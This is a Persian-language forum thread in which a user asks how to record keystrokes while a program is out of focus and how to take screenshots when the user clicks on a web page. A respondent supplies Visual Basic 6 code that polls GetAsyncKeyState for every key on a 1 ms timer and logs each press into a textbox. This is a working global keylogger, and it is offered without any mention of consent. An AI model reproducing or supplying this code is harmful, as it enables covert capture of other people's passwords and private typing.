بدست آوردن کد کلید ها در حالت غیر فوکوس

[roo.row]

با سلام
ما می دونیم که برای بدست آوردن کد کلید ها اول تیکش رو در فرم میزنیم بعد با keycode بدست میاد ولی این فقط ماله زمانیه که فوکوس بر روی برنامه باشه و اگر اون تغییر کنه دیگه برنامه هیچ چیزی رو ثبت نمی کنه . راه حل شما در این باره چیه ؟

در ضمن چطور میتونم کاری کنم که در حالت غیر فوکوس زمانی که کاربر مثلا روی صفحه وب کلیک می کنه یه اسکرین شات بگیره ( کد اسکرین شات رو بلدم) فقط میخوام بدونم چجوری وقتی کلیک کرد بفهمم و ازش استفاده کنم ؟

با تشکر فراوان

[roo.row]

با سلام

9 ماه گذشت واقعا کسی نمی دونست ؟

با تشکر

[Hashemvp]

با سلام

9 ماه گذشت واقعا کسی نمی دونست ؟

با تشکر

دوست عزیز نیاز نبود 9 ماه منتظر پاسخ بقیه باشی....ی جستجو ساده میزنی کلی نمونه کد می امد برات

منم الان ی نمونه کد برات میذارم ولی باقیش با خودت

ی فرم باز کن یع تکس بذار و ی تایمر این کد هم استفاده کن مشکلت حل میشه

فقط باید دنبال کد کلید هایی مثل اف ها و شیفت و اینا باشی

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub